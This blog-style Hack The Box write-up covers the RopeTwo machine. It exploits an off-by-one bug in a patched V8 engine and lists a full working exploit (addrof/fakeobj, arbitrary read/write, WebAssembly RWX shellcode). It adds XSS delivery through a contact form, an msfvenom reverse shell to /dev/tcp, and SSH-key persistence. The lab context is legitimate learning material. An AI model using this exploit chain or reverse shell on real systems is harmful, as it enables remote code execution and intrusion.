Secrets of V8 Engine. Dissecting Chrome on a Hack The Box virtual machine

No, this article isn’t about motor cylinders and valves – it’s about Google V8 Engine used in Chromium and Android. Today, I will show how to hack it on RopeTwo, the most hardcore VM on Hack The Box. Concurrently, you will learn what types of data are used in this engine, how to manipulate them in order to drop an exploit, how to use V8 debugging tools, what it WebAssembly, and how can it be used to penetrate into the RopeTwo shell.

Intelligence collection

As usual, I start with scanning the ports. Needless to say that on such a high-level VM, all ports must be scanned (TCP + UDP 1-65 535). The best way to do this is use a fast port scanner called masscan.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.196 --rate=5000
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-21 19:41:59 GMT
— forced options: -sS -Pn -n –randomize-hosts -v –send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8060/tcp on 10.10.10.196
Discovered open port 22/tcp on 10.10.10.196
Discovered open port 8000/tcp on 10.10.10.196
Discovered open port 9094/tcp on 10.10.10.196
Discovered open port 5000/tcp on 10.10.10.196

As you can see, only five TCP ports are open. Let’s scan them thoroughly with Nmap.

nmap -n -v -Pn -sV -sC -p8060,22,8000,9094,5000, 10.10.10.196

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 bc:d9:40:18:5e:2b:2b:12:3d:0b:1f:f3:6f:03:1b:8f (RSA)
| 256 15:23:6f:a6:d8:13:6e:c4:5b:c5:4a:6f:5a:6b:0b:4d (ECDSA)
|_ 256 83:44:a5:b4:88:c2:e9:28:41:6a:da:9e:a8:3a:10:90 (ED25519)
5000/tcp open http nginx
|_http-favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.196:5000/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
8000/tcp open http Werkzeug httpd 0.14.1 (Python 3.7.3)
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: Werkzeug/0.14.1 Python/3.7.3
|_http-title: Home
8060/tcp open http nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.2
|_http-title: 404 Not Found
9094/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Hmm… SSH, three web servers, and an unknown port. Let’s see what the browser says.

Expectedly, GitLab is running on port 5000 (as the Nmap report states).

GitLab greeting on port 5000
GitLab greeting on port 5000

On port 8000, a Python Werkzeug (WSGI) web server runs a simple V8 development site. As you are likely aware, V8 is Google’s open-source JavaScript engine used in the Chrome browser and other projects. More details are available on its official website.

A page with source code and contacts on port 8000
A page with source code and contacts on port 8000

I scroll the page down and see the link http://gitlab.rope2.htb:5000/root/v8 to the source code.

Link to source code
Link to source code

The 404 Not Found message is displayed on port 8060. Port 9094 refuses to answer my requests.

Let’s add the found domain to /etc/hosts, as always:

10.10.10.196 rope2.htb gitlab.rope2.htb

Foothold

Since I am offered to examine the source code, I gladly use this opportunity.

Repository with V8 source code
Repository with V8 source code

I see the V8 source code and a separate branch created by the author of the VM: it contains one commit with minor changes. Apparently, these changes are supposed to help me. Only four files have been altered; so, let’s take a closer look at them.

Changes in src/builtins/builtins-definitions.h
Changes in src/builtins/builtins-definitions.h

Two functions have been added to the headers file: ArrayGetLastElement andArraySetLastElement. Both of them are intended for work with data arrays. CPP is a macro that adds these functions to the metadata array.

www

For more information, see the Builtins section in the documentation.

Changes in src/init/bootstrapper.cc
Changes in src/init/bootstrapper.cc

Installing the GetLastElement and SetLastElement prototypes as built-in functions.

Changes in src/compiler/typer.cc
Changes in src/compiler/typer.cc

Defining function calls.

Changes in src/builtins/builtins-array.cc
Changes in src/builtins/builtins-array.cc

This the most interesting part: source code of the functions. The GetLastElement function converts an array into FixedDoubleArray and returns its last element: array[length]. The SetLastElement function writes the received value to the last element of array[length] with the float type. Now you can try to guess what’s the catch.

Since I am not an expert in the V8 engine, I had to look for help on the Internet. Using key expressions from the above source code, I quickly found an excellent writeup by Faraz Abrar: Exploiting v8: *CTF 2019 oob-v8; the altered commit in it is almost identical to the one found on RopeTwo.

To bad, my hopes of an easy victory quickly faded. Since the writeup describes the process in detail, I will just briefly list the key points and specify the main differences between the two cases.

The main difference between the commits is that in the writeup, only one function is responsible for reading and writing elements to the array. This function performs reading or writing operations depending on the number of variables passed to it.

However, both commits contain the same vulnerability. Have you guessed it already? Since the array indexing starts with 0, array [length] makes it possible to read and write one element outside of the array boundaries. Now I have to figure out how to exploit this feature.

Deploying test system

First, I download the diff file.

Downloading diff
Downloading diff

I rename it into v8.diff and add an extra line break in the end to avoid errors in git apply.

Then I execute the following commands (the test system is running on Ubuntu 19.04):

artex@ubuntu:~/tools$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
artex@ubuntu:~/tools$ echo "export PATH=/home/artex/depot_tools:$PATH" >> ~/.bashrc
artex@ubuntu:~/tools$ source ~/.bashrc
artex@ubuntu:~$ fetch v8
artex@ubuntu:~$ cd v8
artex@ubuntu:~/v8$ ./build/install-build-deps.sh
artex@ubuntu:~/v8$ git checkout 458c07a7556f06485224215ac1a467cf7a82c14b
artex@ubuntu:~/v8$ gclient sync
artex@ubuntu:~/v8$ git apply --ignore-space-change --ignore-whitespace ../v8.diff
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.release # Release version
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.debug
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.debug # Debug version

Important: the compilation of each release may take a few hours!

Writing exploit

First of all, I have to ‘leak the array address. For this purpose, I am going to write a script based on Faraz’s writeup. The idea is to replace the obj_array_map pointer of obj_array with the float_array_map pointer of float_array because the Map structures are different in these two objects.

The exploitation is based on the following concept: a request for the zero index in float_array returns the value of an array element, while a request for the zero index inobj_array returns a pointer to an object (that is subsequently converted into a value). So, if you substitute the Map structure in obj_array with the Map structure from float_array and address the zero index, you’ll get not the value of the array element, but an object pointer in the float type! The detected vulnerability allows to substitute Map because it’s located right behind the array elements in the JSArray structure.

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
var obj = {"A":1};
var obj_arr = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.GetLastElement();
var float_arr_map = float_arr.GetLastElement();
function addrof(in_obj) {
obj_arr[0] = in_obj;
obj_arr.SetLastElement(float_arr_map);
let addr = obj_arr[0];
obj_arr.SetLastElement(obj_arr_map);
return ftoi(addr);
}
var arr = [5.5, 5.5, 5.5, 5.5];
console.log(addrof(arr).toString(16));
console.log(%DebugPrint(arr));

I run the script and get… the SEGV_ACCERR error message:

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --shell --allow-natives-syntax /mnt/share/v8/leak.js
Received signal 11 SEGV_ACCERR 34b4080406f8

==== C stack trace ===============================

[0x5555562d3f74]
[0x7ffff7faaf40]
[0x5555558b40ff]
[0x5555561cfa18]
[end of stack trace]
Segmentation fault (core dumped)

The --allow-natives-syntax key allows to execute the %DebugPrint() function that displays debugging information for V8 objects.

At some point, I start wondering what happens if I replace the diff file from the HTB machine with oob.diff. If you want to repeat my experiment, create a clone of the RopeTwo VM and run the following commands:

artex@ubuntu:~/v8$ git apply -R --ignore-space-change --ignore-whitespace ../v8.diff
artex@ubuntu:~/v8$ git apply ../oob.diff
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.release # Release version

But prior to doing so, you have to make the following changes in oob.diff because in the new version, the structure and content of the files are slightly different.

diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc

index b027d36..ef1002f 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::

diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h

index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -319,6 +319,7 @@ namespace internal {
TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.push */ \
CPP(ArrayPush) \
+ CPP(ArrayOob) \
TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.shift */ \
CPP(ArrayShift)

Also, in diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc, you have to change length()->Number() into length().Number():

+ uint32_t length = static_cast<uint32_t>(array->length().Number());

Expectedly, after changing names of functions in the script to oob and running it, I got the same result. This means that the V8 engine itself has been altered.

It must be noted that the OOB exploit uses V8 version 7.5.0, while the RopeTwo VM – V8 version 8.5.0. Accordingly, you cannot simply run this exploit and get the much-desired shell.

To solve this problem, I had to read tons of documentation. Finally, I came to an understanding: in the new version of V8, pointer compression is implemented differently.

More information on this will be provided below. For now, it’s sufficient to understand that the elements of float_array in the new version are 64-bit, while the elements of obj_array are 32-bit. Therefore, to make the array sizes match, I have to add one more element to obj_array.

So, I change var obj_arr = [obj]; into var obj_arr = [obj, obj];

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --allow-natives-syntax /mnt/share/v8/leak.js
41b0800212000000
0x193108086721 <Array map = 0x193108241909>

There are no more Segmentation Fault messages, but the addresses don’t match. And you know why? Because, by adding one more element to the array, I changed its size, and the SetLastElement function writes the value to a wrong place (as you remember, I need to replace the pointer with the Map object located in the memory right after the array elements).

Fortunately, this can be fixed by adding the following line: obj_arr.length = 1;.

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --allow-natives-syntax /mnt/share/v8/leak.js
80403850808671d
0x0c2b0808671d <JSArray[4]>
5.5,5.5,5.5,5.5

Bingo! Now the 32 least-significant bits match! The most-significant bits don’t match – as said above, this is due to the pointer compression.

With your kind permission, I won’t explain here what is pointer compression: for detailed information, see another article by Faraz Abrar.

The scheme below shows how an array of objects and an array of floats are represented in the memory.

Obj and Float arrays
Obj and Float arrays

This mechanism (i.e. pointer compression) boosts the performance of the V8 engine. The 32 most-significant bits in the heap always remain the same at each start of the engine. Therefore, the developers decided that it makes no sense to use 64-bit pointers since it’s just waste of resources and introduced the so-called isolate root: the 32 most-significant bits of the address that are always the same are stored in the R13 register (the root register). Therefore, to get the correct 64-bit address, you in theory have to query the 32 most-significant bits in R13. But in fact, this isn’t necessary.

There is a way to get out of the 32-bit heap space: you create an ArrayBuffer object and overwrite its backing_store pointer. This pointer is allocated by the PartitionAlloc function that works with nonheap addresses. Therefore, using a DataView object with the overwritten backing_store pointer, you can get an arbitrary reading and writing primitive!

If you invert the logic of the addrof function (i.e. swap the object array and the float array), you will get the fakeobj function that can be used to read arbitrary memory addresses and write data to them:

function fakeobj(addr) {
float_arr[0] = itof(addr);
float_arr.SetLastElement(obj_arr_map);
let fake = float_arr[0];
float_arr.SetLastElement(float_arr_map);
return fake;
}
var a = [1.1, 1.2, 1.3, 1.4];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var float_arr_map = float_arr.GetLastElement();
var crafted_arr = [float_arr_map, 1.2, 1.3, 1.4];
console.log("0x"+addrof(crafted_arr).toString(16));
var fake = fakeobj(addrof(crafted_arr)-0x20n);

Let’s combine this listing with the above code and see what happens.

Running the script with debugger.

artex@ubuntu:~/v8/out.gn/x64.release# gdb d8
pwndbg> r --shell --allow-natives-syntax /mnt/share/v8/fake.js
-
0x804038508086911
V8 version 8.5.0 (candidate)
d8> %DebugPrint(crafted_arr);
0x18c108086911 <JSArray[4]>
[4.73859563718219e-270, 1.2, 1.3, 1.4]
-
pwndbg> x/10gx 0x18c108086911-0x28-1 (ignore one bit because of tagging)
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909 <– zero element with float_arr_map
0x18c1080868f8: 0x3ff3333333333333 0x3ff4cccccccccccd
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002

Pointer tagging is a mechanism used in V8 to distinguish between the double, SMI (small integer), and pointer types. Because of the alignment, pointers usually point to memory locations multiple of 4 and 8, which means that the last 2-3 bits are always zero. V8 uses this feature: the last bit is set to 1 to indicate a pointer. Therefore, to get the original address, you have to subtract one from the tagged address.

Let’s try to write the second element (i.e. pointer to elements) and read it:

crafted_arr[2] = itof(BigInt(0x18c1080868f0)-0x10n+1n);
"0x"+ftoi(fake[0]).toString(16);

Too bad, another Segmentation Fault message…

I had played with the debugger until the new pointer size came to my mind. The float array is 64-bit; therefore, when the array map is replaced, the second element of the 32-bit obj array appears in place of the first element in the float array. Accordingly, if you write the address to the first index of the float array, you will get a reference to elements of the obj array.

So, all you have to do is replace crafted_arr[2] with crafted_arr[1] – and everything will work fine. To read the value of the zero element in the fake array, you must change the offset of the elements from 0x10 to 0x08 (because the pointer is now 32-bit). Let’s try this approach.

d8> crafted_arr[1] = itof(BigInt(0x18c1080868f0)-0x8n+1n);
1.3447153912017e-310
-
pwndbg> x/10gx 0x18c108086911-0x28-1
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909
0x18c1080868f8: 0x000018c1080868e9 0x3ff4cccccccccccd <– write the address for reading
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002
d8> "0x"+ftoi(fake[0]).toString(16);
“0x80406e908241909” <– read the value it points to

Below is a brief explanation of how it works. Let’s create a float array and examine its debugging information. To get a detailed output of %DebugPrint(), including information on addresses, I use the debug V8 engine release.

pwndbg> file d8
Reading symbols from d8…
pwndbg> r --shell --allow-natives-syntax
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 –shell –allow-natives-syntax
[Thread debugging using libthread_db enabled]
Using host libthread_db library “/lib/x86_64-linux-gnu/libthread_db.so.1”.
var a = [1.1, 1.2, 1.3, 1.4];
[New Thread 0x7ffff3076700 (LWP 2342)]
V8 version 8.5.0 (candidate)
d8> undefined
d8> %DebugPrint(a);
DebugPrint: 0x274a080c5e51: [JSArray]
- map: 0x274a08281909 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x274a0824923d <JSArray[0]>
- elements: 0x274a080c5e29 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x274a080406e9 <FixedArray[0]> {
#length: 0x274a081c0165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x274a080c5e29 <FixedDoubleArray[4]> {
0: 1.1
1: 1.2
2: 1.3
3: 1.4
}

As you can see, the offset of the elements from the beginning of the JSArray structure is 0x28:

0x274a080c5e51-0x274a080c5e29 == 0x28

Let’s examine the array elements that are located in the memory before the JSArray structure:

pwndbg> x/10gx 0x274a080c5e51-1-0x28 (ignoring one bit because of pointer tagging)
0x274a080c5e28: 0x0000000808040a3d 0x3ff199999999999a
0x274a080c5e38: 0x3ff3333333333333 0x3ff4cccccccccccd
0x274a080c5e48: 0x3ff6666666666666 0x080406e908281909
0x274a080c5e58: 0x00000008080c5e29 0x82e4079a08040551
0x274a080c5e68: 0x7566280a00000adc 0x29286e6f6974636e

The zero element of the array is located at the following address:

index 0 == 0x274a080c5e30 == elements + 0x08

Assume, for instance, that fake_object is located at 0x274a080c5e30. If you replace float_arr_map in fake_object with obj_arr_map (the properties field will be overwritten, but this isn’t critical), the index of the crafted_arr array will contain a pointer to the elements of fake_object because the pointers are 32-bit, while elements of the float array are 64-bit. Accordingly, if you address fake_object[0], you will read the value at the address that you have written to the first index of crafted_arr.

The scheme below illustrates this concept.

Array structure for arbitrary reading and writing
Array structure for arbitrary reading and writing

Now you can write and read arbitrary addresses using auxiliary functions (I won’t describe them here, see the full exploit listing with comments at the end of the article).

However, it’s necessary to find a memory area where I can execute my code (rwx). Such an area exists, and the WebAssembly module interacts with it.

WebAssembly (Wasm) is a secure and efficient low-level binary instruction format for the web. A stack-based virtual machine executing instructions in the Wasm binary format can be launched either in the browser environment or in the server environment. Wasm code is a transferable abstract syntactic tree, which ensures faster analysis and more efficient execution in comparison with JavaScript.

I assemble the exploit taking into account all the above-described changes and… get another Segmentation Fault message.

In current implementations of the engine, the rwx area is always located at the same offset from WasmInstanceObject. In version 7.5.0, this offset was 0x87. Now I have to find out what is the offset in version 8.5.0. So, I write a simple wasm.js script with a wasmInstance object and run it in the debugger:

var code_bytes = new Uint8Array([
0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01,
0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00,
0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E,
0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);
const wasmModule = new WebAssembly.Module(code_bytes.buffer);
const wasmInstance =
new WebAssembly.Instance(wasmModule, {});
const { addTwo } = wasmInstance.exports;
console.log(addTwo(5, 6));
%DebugPrint(wasmInstance);

artex@ubuntu:~/v8/out.gn/x64.debug# gdb d8
--skip--
pwndbg> r --shell --allow-natives-syntax /mnt/share/v8/wasm.js
Using host libthread_db library “/lib/x86_64-linux-gnu/libthread_db.so.1”.
[New Thread 0x7ffff3076700 (LWP 5461)]
11
0x2f11082503dc
DebugPrint: 0x2f1108250375: [WasmInstanceObject] in OldSpace
--skip--

As you can see, the address of WasmInstanceObject is 0x2f1108250375. I locate the script and its PID on the list of processes (ps aux | grep wasm.js) and look for rwx areas in its memory map:

artex@ubuntu:/home/artex# cat /proc/5457/maps | grep -i rwx
b444a6ea000-b444a6eb000 rwxp 00000000 00:00 0

Success! The rwx address is 0xb444a6ea000. Now I have to find out the address of the pointer that points to this area. For this purpose, I use the following pwndbg command:

pwndbg> search -t pointer 0xb444a6ea000
0x2f11082503dc 0xb444a6ea000

The address of the pointer is 0x2f11082503dc. Calculating the offset:

python -c 'print(hex(0x2f11082503dc - (0x2f1108250375 - 0x1)))'
0x68

I insert the computed offset into my script. But there is one more pointer whose offset has changed: backing_store.

To find it, I have to run the debug release of the V8 engine in the debugger one more time:

artex@ubuntu:~/v8/out.gn/x64.debug# gdb d8
-
pwndbg> r --shell --allow-natives-syntax
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 –shell –allow-natives-syntax
-
d8> var buf = new ArrayBuffer(0x100);
undefined
d8> %DebugPrint(buf);
DebugPrint: 0x329e080c5e2d: [JSArrayBuffer]
- map: 0x329e08281189 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x329e082478c1 <Object map = 0x329e082811b1>
- elements: 0x329e080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x5555556f2e80
--skip--

As you can see, backing_store: 0x5555556f2e80. This allows to calculate the offset (shown below in the red frame). Important: don’t forget about little endian!

Offset of backing_store
Offset of backing_store

So, the offset is 0x14.

Apparently, this is it! Time to try the exploit. I prepare the test payload using the msfvenom utility. And it displays the string: PWNED!.

msfvenom -p linux/x64/exec -f dword CMD='bash -c "echo PWNED!"'
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 64 bytes
Final size of dword file: 194 bytes
0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000016,
0x68736162, 0x20632d20, 0x68636522, 0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005

Below is the final exploit code with comments:

// Auxiliary conversion functions (float to Integer and vice versa)
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0]=val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
// Create addrof primitive
var obj = {"A":1};
var obj_arr = [obj, obj]; // Array consisting of two elements (to get the 64-bit capacity)
obj_arr.length = 1; // Set the array size = 1
var float_arr = [1.1, 1.2];
// Due to the overflow of obj_arr[length] and float_arr[length], reading the pointers to their Maps
var obj_arr_map = obj_arr.GetLastElement();
var float_arr_map = float_arr.GetLastElement();
function addrof(in_obj) {
// Place the object whose address I need to find out to index 0
obj_arr[0] = in_obj;
// Replace the Map of obj array with the Map of float array
obj_arr.SetLastElement(float_arr_map);
// Get the address by addressing index 0
let addr = obj_arr[0];
// Return back the Map of obj array
obj_arr.SetLastElement(obj_arr_map);
// Return the address into the BigInt format
return ftoi(addr);
}
function fakeobj(addr) {
// Convert the address into float and place it into the zero element of the float array
float_arr[0] = itof(addr);
// Replace the Map of float array with the Map of obj array
float_arr.SetLastElement(obj_arr_map);
// Get the "fake" object located at the address passed to the function
let fake = float_arr[0];
// Change back the map of float array
float_arr.SetLastElement(float_arr_map);
// Return the received object
return fake;
}
// This object will be used to read and write data at arbitrary memory addresses
var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
// I must use tagged pointers for reading; therefore, I tag the address
if (addr % 2n == 0)
addr += 1n;
// Place fakeobj into the address space where the arb_rw_arr elements are located
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 elements × 8 bytes = 0x20
// Replace the pointer of arb_rw_arr elements with read_addr-0x08
// The 2nd obj_map index pointing to elements of the "fake" object is located
// at the address of the first element in the float array
arb_rw_arr[1] = itof(BigInt(addr) - 0x8n);
// Address the zero index of the array, read the value at the addr address,
// and return it in the float format
return ftoi(fake[0]);
}
function arb_write(addr, val) {
// Place fakeobj into the address space where the arb_rw_arr elements are located
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 elements × 8 bytes = 0x20
// Replace the pointer of arb_rw_arr elements with write_addr-0x08
// The 2nd obj_map index pointing to elements of the "fake" object is located
// at the address of the first element in the float array
arb_rw_arr[1] = itof(BigInt(addr) - 0x8n); //
// Write the value to the zero element in the float format,
fake[0] = itof(BigInt(val));
}
// Arbitrary code compiled in WebAssembly (required to create a wasm_instance)
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,
3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,
128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,
0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var exploit = wasm_instance.exports.main;
// Get the address of wasm_instance
var wasm_instance_addr = addrof(wasm_instance);
console.log("[+] Wasm addr: 0x" + wasm_instance_addr.toString(16));
var rwx_page_addr = arb_read(wasm_instance_addr + 0x68n); // Permanent offset of the rwx page = 0x68
function copy_shellcode(addr, shellcode) {
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrof(buf); // Get the address of ArrayBuffer
let backing_store_addr = buf_addr + 0x14n; // Permanent offset of backing_store=0x14
arb_write(backing_store_addr, addr); // Replace backing_store_addr with addr
// Write the shell at backing_store_addr
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));
// msfvenom -p linux/x64/exec -f dword CMD='your_shellcode'
var shellcode = new Uint32Array([0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068,
0x2d68e789, 0x48000063, 0xe852e689, 0x00000016, 0x68736162, 0x20632d20, 0x68636522,
0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005]);
// Write reverse shell at the address where rwx_page is located
copy_shellcode(rwx_page_addr, shellcode);
// Call wasm_instance with the reverse shell
exploit();

Running the test exploit:

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 /mnt/share/v8/test.js
[+] Controlled float array: 0x8040385080882ed
[+] Wasm addr: 0x8040385082110b1
[+] RWX Wasm page addr: 0x29db47484000
PWNED!

It’s working!

And the last step is to figure out how to run it on a remote host.

The only interactive element on the website is the feedback form at http://rope2.htb:8000/contact. Since V8 is a JS engine, I have to find a way to feed my JavaScript to it. So, I launch an HTTP server (python -m http.server 8070) and enter in all fields of the form:

<script src="http://10.10.xx.xx:8070/v8.js"></script>

Success! I get a request from the server. After some experimentation, I find out that the Message field triggers the script execution.

Checking XSS
Checking XSS

I generate a combat payload containing the reverse shell and insert it into the script.

msfvenom -p linux/x64/exec -f dword CMD='bash -c "bash -i >& /dev/tcp/10.10.xx.xx/7090 0>&1"'

I put the script into the folder from where my web server has been launched, run netcat (nc -lnvp 7090), and send the form with the script request in the Message field.

Finally, I have got a shell!

Getting a shell
Getting a shell

To automate the process, I write a few strings in bash; the resultant file should be put into the folder containing the script.

python -m http.server 8070 &
curl -d 'name=&subject=&content=%3Cscript+src%3D%22http%3A%2F%2F10.10.xx.xx%3A8070%2Fv8.js%22%3E%3C%2Fscript%3E' -L http://10.10.10.196:8000/contact &
nc -lnvp 7090

Too bad, the session lasts no more than a minute; apparently, a timeout is triggered on the server. To get a stable shell, you have to add your SSH key to chromeuser:

mkdir /home/chromeuser/.ssh
echo 'your_ssh_key'>>/home/chromeuser/.ssh/authorized_keys

Hopefully, the article was interesting to read and useful for practical purposes!


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>